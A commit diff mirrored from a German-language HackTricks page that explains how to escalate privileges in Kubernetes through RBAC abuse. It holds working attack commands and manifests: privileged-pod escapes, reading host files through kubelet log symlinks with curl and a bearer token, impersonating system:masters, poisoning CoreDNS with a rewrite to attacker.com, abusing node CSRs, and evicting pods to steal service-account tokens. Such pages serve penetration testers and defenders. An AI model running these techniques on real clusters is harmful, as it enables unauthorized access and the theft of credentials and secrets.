mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
@@ -9,15 +9,15 @@ Denken Sie daran, dass Sie alle unterstützten Ressourcen mit `kubectl api-resou
|
||||
|
||||
Dies bezieht sich auf die Kunst, **Zugriff auf ein anderes Subjekt** innerhalb des Clusters **mit anderen Berechtigungen** (innerhalb des Kubernetes-Clusters oder zu externen Clouds) zu erhalten, als die, die Sie bereits haben. In Kubernetes gibt es im Wesentlichen **4 Haupttechniken zur Eskalation von Berechtigungen**:
|
||||
|
||||
- In der Lage sein, **sich als** andere Benutzer/Gruppen/SAs mit besseren Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds **auszugeben**
|
||||
- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, in denen Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds **finden oder anhängen** können
|
||||
- In der Lage sein, **andere Benutzer/Gruppen/SAs zu impersonieren**, die bessere Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds haben
|
||||
- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, in denen Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können
|
||||
- In der Lage sein, **Secrets zu lesen**, da die Tokens der SAs als Secrets gespeichert sind
|
||||
- In der Lage sein, **aus dem Container auf den Knoten zu entkommen**, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können
|
||||
- In der Lage sein, **zum Knoten zu entkommen** von einem Container, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können
|
||||
- Eine fünfte Technik, die erwähnt werden sollte, ist die Fähigkeit, **Port-Forward** in einem Pod auszuführen, da Sie möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.
|
||||
|
||||
### Zugriff auf jede Ressource oder jedes Verb (Wildcard)
|
||||
|
||||
Die **Wildcard (\*) gewährt Berechtigungen für jede Ressource mit jedem Verb**. Sie wird von Administratoren verwendet. Innerhalb einer ClusterRole bedeutet dies, dass ein Angreifer jede Namespace im Cluster missbrauchen könnte.
|
||||
Die **Wildcard (\*) gewährt Berechtigungen über jede Ressource mit jedem Verb**. Sie wird von Administratoren verwendet. Innerhalb einer ClusterRole bedeutet dies, dass ein Angreifer jede Namespace im Cluster missbrauchen könnte.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -33,7 +33,7 @@ verbs: ["*"]
|
||||
|
||||
In RBAC stellen bestimmte Berechtigungen erhebliche Risiken dar:
|
||||
|
||||
1. **`create`:** Gewährt die Möglichkeit, jede Cluster-Ressource zu erstellen, was ein Risiko für die Privilegieneskalation darstellt.
|
||||
1. **`create`:** Gewährt die Möglichkeit, jede Cluster-Ressource zu erstellen, was ein Risiko für die Eskalation von Berechtigungen darstellt.
|
||||
2. **`list`:** Ermöglicht das Auflisten aller Ressourcen, was potenziell sensible Daten leaken könnte.
|
||||
3. **`get`:** Erlaubt den Zugriff auf Geheimnisse von Dienstkonten, was eine Sicherheitsbedrohung darstellt.
|
||||
```yaml
|
||||
@@ -76,9 +76,9 @@ hostNetwork: true
|
||||
|
||||
Die folgenden Punkte zeigen alle Berechtigungen, die ein Container haben kann:
|
||||
|
||||
- **Privilegierter Zugriff** (Schutzmaßnahmen deaktivieren und Berechtigungen festlegen)
|
||||
- **Deaktivieren von Namespaces hostIPC und hostPid**, die helfen können, Berechtigungen zu eskalieren
|
||||
- **Deaktivieren des hostNetwork**-Namespaces, der Zugriff ermöglicht, um Cloud-Berechtigungen der Knoten zu stehlen und besseren Zugang zu Netzwerken zu erhalten
|
||||
- **Privilegierter Zugriff** (Deaktivierung von Schutzmaßnahmen und Festlegung von Berechtigungen)
|
||||
- **Deaktivierung der Namespaces hostIPC und hostPid**, die helfen können, Berechtigungen zu eskalieren
|
||||
- **Deaktivierung des hostNetwork**-Namespaces, der Zugriff ermöglicht, um die Cloud-Berechtigungen der Knoten zu stehlen und besseren Zugang zu Netzwerken zu erhalten
|
||||
- **Mounten von Hosts / innerhalb des Containers**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
@@ -127,7 +127,7 @@ Jetzt, da Sie zum Knoten entkommen können, überprüfen Sie die Post-Exploitati
|
||||
|
||||
#### Stealth
|
||||
|
||||
Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, das nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
|
||||
Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, der nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -141,9 +141,9 @@ _Sie finden Beispiele dafür, wie Sie die vorherigen privilegierten Pod-Konfigur
|
||||
### Pod erstellen - In die Cloud verschieben
|
||||
|
||||
Wenn Sie einen **Pod** (und optional ein **Service-Konto**) **erstellen** können, könnten Sie in der Lage sein, **Berechtigungen in der Cloud-Umgebung zu erhalten**, indem Sie **Cloud-Rollen einem Pod oder einem Service-Konto zuweisen** und dann darauf zugreifen.\
|
||||
Darüber hinaus, wenn Sie einen **Pod mit dem Host-Netzwerk-Namespace** erstellen können, können Sie die **IAM**-Rolle der **Knoten**-Instanz **stehlen**.
|
||||
Darüber hinaus, wenn Sie einen **Pod mit dem Host-Netzwerk-Namespace** erstellen können, können Sie die IAM-Rolle der **Knoten**-Instanz **stehlen**.
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
Für weitere Informationen überprüfen Sie:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -193,20 +193,25 @@ path: /
|
||||
|
||||
**`pods/exec`** ist eine Ressource in Kubernetes, die zum **Ausführen von Befehlen in einer Shell innerhalb eines Pods** verwendet wird. Dies ermöglicht es, **Befehle innerhalb der Container auszuführen oder eine Shell zu erhalten**.
|
||||
|
||||
Daher ist es möglich, **in einen Pod zu gelangen und das Token des SA zu stehlen**, oder in einen privilegierten Pod einzutreten, zum Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und (miss)zu verwenden:
|
||||
Daher ist es möglich, **in einen Pod einzudringen und das Token des SA zu stehlen**, oder in einen privilegierten Pod einzutreten, zum Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und (miss)zu verwenden:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Standardmäßig wird der Befehl im ersten Container des Pods ausgeführt. Holen Sie sich **alle Pods in einem Container** mit `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` und geben Sie dann **den Container an**, in dem Sie ihn ausführen möchten, mit `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Wenn es sich um einen distroless Container handelt, können Sie versuchen, **Shell-Befehle** zu verwenden, um Informationen über die Container zu erhalten oder Ihre eigenen Tools wie eine **busybox** hochzuladen mit: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Diese Berechtigung erlaubt es, **einen lokalen Port an einen Port im angegebenen Pod weiterzuleiten**. Dies soll es ermöglichen, Anwendungen, die in einem Pod laufen, einfach zu debuggen, aber ein Angreifer könnte dies missbrauchen, um Zugang zu interessanten (wie DBs) oder anfälligen Anwendungen (Webs?) innerhalb eines Pods zu erhalten:
|
||||
```
|
||||
Diese Berechtigung ermöglicht es, **einen lokalen Port an einen Port im angegebenen Pod weiterzuleiten**. Dies soll es ermöglichen, Anwendungen, die innerhalb eines Pods ausgeführt werden, einfach zu debuggen, aber ein Angreifer könnte dies missbrauchen, um Zugriff auf interessante (wie DBs) oder anfällige Anwendungen (Webs?) innerhalb eines Pods zu erhalten:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Wie [**in dieser Forschung angegeben**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), wenn Sie auf ein Pod zugreifen oder ein Pod mit dem **hosts `/var/log/` Verzeichnis montiert** darauf erstellen können, können Sie **aus dem Container entkommen**.\
|
||||
Das liegt im Wesentlichen daran, dass, wenn die **Kube-API versucht, die Logs** eines Containers abzurufen (unter Verwendung von `kubectl logs <pod>`), sie die **`0.log`** Datei des Pods über den `/logs/` Endpunkt des **Kubelet** Dienstes anfordert.\
|
||||
Das liegt im Wesentlichen daran, dass, wenn die **Kube-API versucht, die Protokolle** eines Containers abzurufen (unter Verwendung von `kubectl logs <pod>`), sie die **`0.log`** Datei des Pods über den `/logs/` Endpunkt des **Kubelet** Dienstes anfordert.\
|
||||
Der Kubelet-Dienst exponiert den `/logs/` Endpunkt, der im Grunde genommen **das `/var/log` Dateisystem des Containers exponiert**.
|
||||
|
||||
Daher könnte ein Angreifer mit **Zugriff auf das Schreiben im /var/log/ Ordner** des Containers dieses Verhalten auf 2 Arten ausnutzen:
|
||||
@@ -219,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Wenn der Angreifer einen Principal mit den **Berechtigungen zum Lesen von `nodes/log`** kontrolliert, kann er einfach einen **symlink** in `/host-mounted/var/log/sym` zu `/` erstellen und beim **Zugriff auf `https://<gateway>:10250/logs/sym/` wird er das Root**-Dateisystem des Hosts auflisten (Ändern des symlinks kann Zugriff auf Dateien gewähren).
|
||||
- Wenn der Angreifer einen Principal mit den **Berechtigungen zum Lesen von `nodes/log`** kontrolliert, kann er einfach einen **symlink** in `/host-mounted/var/log/sym` zu `/` erstellen und beim **Zugriff auf `https://<gateway>:10250/logs/sym/` wird er das Root-Dateisystem des Hosts auflisten** (Ändern des symlinks kann Zugriff auf Dateien gewähren).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -235,11 +240,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Umgehung des readOnly-Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Wenn Sie das Glück haben und die hochprivilegierte Fähigkeit `CAP_SYS_ADMIN` verfügbar ist, können Sie den Ordner einfach als rw remounten:
|
||||
Wenn Sie das Glück haben und die hochprivilegierte Fähigkeit `CAP_SYS_ADMIN` verfügbar ist, können Sie den Ordner einfach als rw erneut einhängen:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Umgehung des hostPath readOnly Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Umgehen des hostPath readOnly Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Wie in [**dieser Forschung**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) angegeben, ist es möglich, den Schutz zu umgehen:
|
||||
```yaml
|
||||
@@ -297,7 +302,7 @@ name: task-pv-storage-vol
|
||||
|
||||
Mit einem [**Benutzer-Impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) Privileg könnte ein Angreifer ein privilegiertes Konto impersonieren.
|
||||
|
||||
Verwenden Sie einfach den Parameter `--as=<username>` im `kubectl` Befehl, um einen Benutzer zu impersonieren, oder `--as-group=<group>`, um eine Gruppe zu impersonieren:
|
||||
Verwenden Sie einfach den Parameter `--as=<Benutzername>` im `kubectl` Befehl, um einen Benutzer zu impersonieren, oder `--as-group=<Gruppe>`, um eine Gruppe zu impersonieren:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -377,13 +382,21 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass, wenn Sie in einem bestimmten Namespace Secrets erstellen und lesen dürfen, das Opfer-Servicekonto ebenfalls in diesem Namespace sein muss.
|
||||
Beachten Sie, dass, wenn Sie in einem bestimmten Namespace berechtigt sind, Geheimnisse zu erstellen und zu lesen, das Opfer-Servicekonto ebenfalls in demselben Namespace sein muss.
|
||||
|
||||
### Lesen eines Secrets – Brute-Force von Token-IDs
|
||||
### Lesen eines Geheimnisses – Brute-Force von Token-IDs
|
||||
|
||||
Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Secrets benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Listing Secrets**_-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Secret verknüpft ist. Diese Secrets haben eine Namensstruktur: ein statisches Präfix, gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Geheimnisses benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Auflisten von Geheimnissen**_-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Geheimnis verknüpft ist. Diese Geheimnisse haben eine Namensstruktur: ein statisches Präfix gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Das Token wird aus einem begrenzten 27-Zeichen-Satz (`bcdfghjklmnpqrstvwxz2456789`) generiert,
|
||||
Das Token wird aus einem begrenzten 27-Zeichen-Satz (`bcdfghjklmnpqrstvwxz2456789`) generiert, anstatt aus dem vollständigen alphanumerischen Bereich. Diese Einschränkung reduziert die insgesamt möglichen Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer theoretisch einen Brute-Force-Angriff durchführen, um das Token innerhalb weniger Stunden zu ermitteln, was möglicherweise zu einer Privilegieneskalation durch den Zugriff auf sensible Servicekonten führen könnte.
|
||||
|
||||
### Zertifikat-Signierungsanfragen
|
||||
|
||||
Wenn Sie die Verben **`create`** in der Ressource `certificatesigningrequests` (oder zumindest in `certificatesigningrequests/nodeClient`) haben. Sie können **ein neues CeSR eines neuen Knotens erstellen.**
|
||||
|
||||
Laut der [Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), sodass Sie in diesem Fall **keine zusätzlichen Berechtigungen benötigen**. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was bedeutet, dass Sie ein Update in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` benötigen.
|
||||
|
||||
Ein **Beispiel für eine Rolle** mit allen erforderlichen Berechtigungen ist:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -414,12 +427,12 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Also, mit dem genehmigten neuen Node CSR kannst du die speziellen Berechtigungen von Nodes **ausnutzen**, um **Geheimnisse zu stehlen** und **Berechtigungen zu eskalieren**.
|
||||
So, mit dem genehmigten neuen Node CSR kannst du die **besonderen Berechtigungen** von Nodes **ausnutzen**, um **Geheimnisse zu stehlen** und **Berechtigungen zu eskalieren**.
|
||||
|
||||
In [**diesem Beitrag**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) und [**diesem hier**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap-Konfiguration mit **automatischer Signierung** konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s Nodes zu generieren und diese dann zu missbrauchen, um Berechtigungen durch das Stehlen von Geheimnissen zu eskalieren.\
|
||||
Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der es einem neuen Node verweigert, auf Geheimnisse innerhalb von Containern zuzugreifen, da ein **Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.**
|
||||
Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der einem neuen Node den Zugriff auf Geheimnisse innerhalb von Containern verweigert, da ein **Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.**
|
||||
|
||||
Der Weg, dies zu umgehen, besteht einfach darin, **Anmeldeinformationen für den Node-Namen zu erstellen, wo der Container mit den interessanten Geheimnissen gemountet ist** (aber schau dir einfach an, wie man es im ersten Beitrag macht):
|
||||
Der Weg, dies zu umgehen, besteht einfach darin, **Anmeldeinformationen für den Node-Namen zu erstellen, unter dem der Container mit den interessanten Geheimnissen gemountet ist** (aber schau dir einfach an, wie man es im ersten Beitrag macht):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
@@ -468,18 +481,58 @@ groups:
|
||||
> [!WARNING]
|
||||
> Sie können **`aws-auth`** für **Persistenz** verwenden, um Benutzern aus **anderen Konten** Zugriff zu gewähren.
|
||||
>
|
||||
> Allerdings funktioniert `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nicht von einem anderen Konto**. Aber tatsächlich funktioniert `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`, wenn Sie die ARN des Clusters anstelle nur des Namens angeben.\
|
||||
> Allerdings funktioniert `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nicht von einem anderen Konto**. Aber tatsächlich funktioniert `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`, wenn Sie die ARN des Clusters anstelle nur des Namens eingeben.\
|
||||
> Um `kubectl` zum Laufen zu bringen, stellen Sie einfach sicher, dass Sie die **kubeconfig des Opfers** **konfigurieren** und in den aws exec-Argumenten `--profile other_account_role` hinzufügen, damit kubectl das Profil des anderen Kontos verwendet, um das Token zu erhalten und AWS zu kontaktieren.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Wenn Sie die Berechtigungen haben, die **`coredns` configmap** im `kube-system` Namespace zu ändern, können Sie die Adressdomänen ändern, auf die aufgelöst wird, um MitM-Angriffe durchzuführen, um **sensible Informationen zu stehlen oder bösartigen Inhalt einzuschleusen**.
|
||||
|
||||
Die benötigten Verben sind **`update`** und **`patch`** über die **`coredns`** configmap (oder alle Configmaps).
|
||||
|
||||
Eine reguläre **coredns-Datei** enthält etwas wie dies:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Ein Angreifer könnte es herunterladen, indem er `kubectl get configmap coredns -n kube-system -o yaml` ausführt, es modifizieren, indem er etwas hinzufügt wie `rewrite name victim.com attacker.com`, sodass jedes Mal, wenn auf `victim.com` zugegriffen wird, tatsächlich `attacker.com` die Domain ist, die aufgerufen wird. Und dann anwenden, indem er `kubectl apply -f poison_dns.yaml` ausführt.
|
||||
|
||||
Eine andere Option ist, die Datei einfach zu bearbeiten, indem er `kubectl edit configmap coredns -n kube-system` ausführt und Änderungen vornimmt.
|
||||
|
||||
### Eskalation in GKE
|
||||
|
||||
Es gibt **2 Möglichkeiten, K8s-Berechtigungen GCP-Prinzipien zuzuweisen**. In jedem Fall benötigt das Prinzip auch die Berechtigung **`container.clusters.get`**, um die Anmeldeinformationen zum Zugriff auf den Cluster zu sammeln, oder Sie müssen **Ihre eigene kubectl-Konfigurationsdatei generieren** (folgen Sie dem nächsten Link).
|
||||
Es gibt **2 Möglichkeiten, K8s-Berechtigungen GCP-Prinzipien zuzuweisen**. In jedem Fall benötigt das Prinzip auch die Berechtigung **`container.clusters.get`**, um Anmeldeinformationen zum Zugriff auf den Cluster zu sammeln, oder Sie müssen **Ihre eigene kubectl-Konfigurationsdatei generieren** (folgen Sie dem nächsten Link).
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn Sie mit dem K8s-API-Endpunkt sprechen, wird das **GCP-Auth-Token gesendet**. Dann wird GCP über den K8s-API-Endpunkt zuerst **überprüfen, ob das Prinzip** (per E-Mail) **Zugriff innerhalb des Clusters hat**, dann wird überprüft, ob es **irgendwelchen Zugriff über GCP IAM** hat.\
|
||||
> Wenn **irgendeines** davon **wahr** ist, wird er **antworten**. Wenn **nicht**, wird ein **Fehler** angezeigt, der vorschlägt, **Berechtigungen über GCP IAM** zu gewähren.
|
||||
> Wenn Sie mit dem K8s-API-Endpunkt sprechen, wird das **GCP-Auth-Token gesendet**. Dann wird GCP über den K8s-API-Endpunkt zuerst **überprüfen, ob das Prinzip** (per E-Mail) **Zugriff innerhalb des Clusters hat**, dann wird überprüft, ob es **irgendeinen Zugriff über GCP IAM** hat.\
|
||||
> Wenn **irgendeine** dieser Bedingungen **wahr** ist, wird er **antworten**. Wenn **nicht**, wird ein **Fehler** angezeigt, der vorschlägt, **Berechtigungen über GCP IAM** zu erteilen.
|
||||
|
||||
Dann ist die erste Methode die Verwendung von **GCP IAM**, die K8s-Berechtigungen haben ihre **entsprechenden GCP IAM-Berechtigungen**, und wenn das Prinzip diese hat, kann es sie verwenden.
|
||||
Die erste Methode besteht darin, **GCP IAM** zu verwenden, die K8s-Berechtigungen haben ihre **entsprechenden GCP IAM-Berechtigungen**, und wenn das Prinzip diese hat, kann es sie verwenden.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -489,21 +542,21 @@ Die zweite Methode besteht darin, **K8s-Berechtigungen innerhalb des Clusters**
|
||||
|
||||
### Erstellen von Serviceaccounts-Token
|
||||
|
||||
Prinzipien, die **TokenRequests** (`serviceaccounts/token`) erstellen können, wenn sie mit dem K8s-API-Endpunkt sprechen SAs (Informationen von [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Prinzipien, die **TokenRequests** (`serviceaccounts/token`) erstellen können, wenn sie mit dem K8s-API-Endpunkt sprechen, SAs (Informationen von [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Prinzipien, die **`update`** oder **`patch`** **`pods/ephemeralcontainers`** können **Codeausführung auf anderen Pods** erlangen und potenziell **ausbrechen** zu ihrem Knoten, indem sie einen ephemeral container mit einem privilegierten securityContext hinzufügen.
|
||||
Prinzipien, die **`update`** oder **`patch`** **`pods/ephemeralcontainers`** können, können **Codeausführung auf anderen Pods** erlangen und potenziell **ausbrechen** zu ihrem Knoten, indem sie einen ephemeral container mit einem privilegierten securityContext hinzufügen.
|
||||
|
||||
### ValidatingWebhookConfigurations oder MutatingWebhookConfigurations
|
||||
|
||||
Prinzipien mit einem der Verben `create`, `update` oder `patch` über `validatingwebhookconfigurations` oder `mutatingwebhookconfigurations` könnten in der Lage sein, **eine solche webhookconfiguration zu erstellen**, um **Berechtigungen zu eskalieren**.
|
||||
|
||||
Für ein [`mutatingwebhookconfigurations` Beispiel überprüfen Sie diesen Abschnitt dieses Beitrags](#malicious-admission-controller).
|
||||
Für ein [`mutatingwebhookconfigurations` Beispiel, überprüfen Sie diesen Abschnitt dieses Beitrags](#malicious-admission-controller).
|
||||
|
||||
### Eskalieren
|
||||
|
||||
Wie Sie im nächsten Abschnitt lesen können: [**Integrierte Prävention der privilegierten Eskalation**](#built-in-privileged-escalation-prevention), kann ein Prinzip weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, es hat das **Verb `escalate`** über **`roles`** oder **`clusterroles`**.\
|
||||
Wie Sie im nächsten Abschnitt lesen können: [**Integrierte Prävention der privilegierten Eskalation**](#built-in-privileged-escalation-prevention), kann ein Prinzip weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, es hat das **Verb `escalate` oder `*`** über **`roles`** oder **`clusterroles`** und die entsprechenden Bindungsoptionen.\
|
||||
Dann kann er neue Rollen, Clusterrollen mit besseren Berechtigungen als die, die er hat, aktualisieren/erstellen.
|
||||
|
||||
### Nodes-Proxy
|
||||
@@ -518,7 +571,7 @@ Sie haben ein Beispiel, wie Sie [**RCE erhalten, indem Sie autorisiert mit einer
|
||||
|
||||
### Pods löschen + nicht planbare Knoten
|
||||
|
||||
Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und **andere Knoten nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
|
||||
Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und können **andere Knoten nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -533,7 +586,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
|
||||
Principals, die **`services/status`** **modifizieren** können, dürfen das Feld `status.loadBalancer.ingress.ip` setzen, um die **nicht behobene CVE-2020-8554** auszunutzen und **MiTM-Angriffe gegen den Cluster** zu starten. Die meisten Minderungstechniken für CVE-2020-8554 verhindern nur ExternalIP-Dienste (laut [**diesem**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Status von Knoten und Pods
|
||||
### Knoten- und Pod-Status
|
||||
|
||||
Principals mit **`update`** oder **`patch`** Berechtigungen über `nodes/status` oder `pods/status` könnten Labels modifizieren, um die durchgesetzten Planungsbeschränkungen zu beeinflussen.
|
||||
|
||||
@@ -541,19 +594,19 @@ Principals mit **`update`** oder **`patch`** Berechtigungen über `nodes/status`
|
||||
|
||||
Kubernetes hat einen [eingebauten Mechanismus](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zur Verhinderung von Privilegieneskalation.
|
||||
|
||||
Dieses System stellt sicher, dass **Benutzer ihre Berechtigungen nicht erhöhen können, indem sie Rollen oder Rollenzuweisungen modifizieren**. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet einen Schutz, selbst wenn der RBAC-Authorizer inaktiv ist.
|
||||
Dieses System stellt sicher, dass **Benutzer ihre Berechtigungen nicht erhöhen können, indem sie Rollen oder Rollenzuweisungen modifizieren**. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet einen Schutz, selbst wenn der RBAC-Autorisierer inaktiv ist.
|
||||
|
||||
Die Regel besagt, dass ein **Benutzer eine Rolle nur erstellen oder aktualisieren kann, wenn er alle Berechtigungen besitzt, die die Rolle umfasst**. Darüber hinaus muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Rolle übereinstimmen, die er zu erstellen oder zu modifizieren versucht: entweder clusterweit für ClusterRoles oder auf denselben Namespace (oder clusterweit) für Roles.
|
||||
|
||||
> [!WARNING]
|
||||
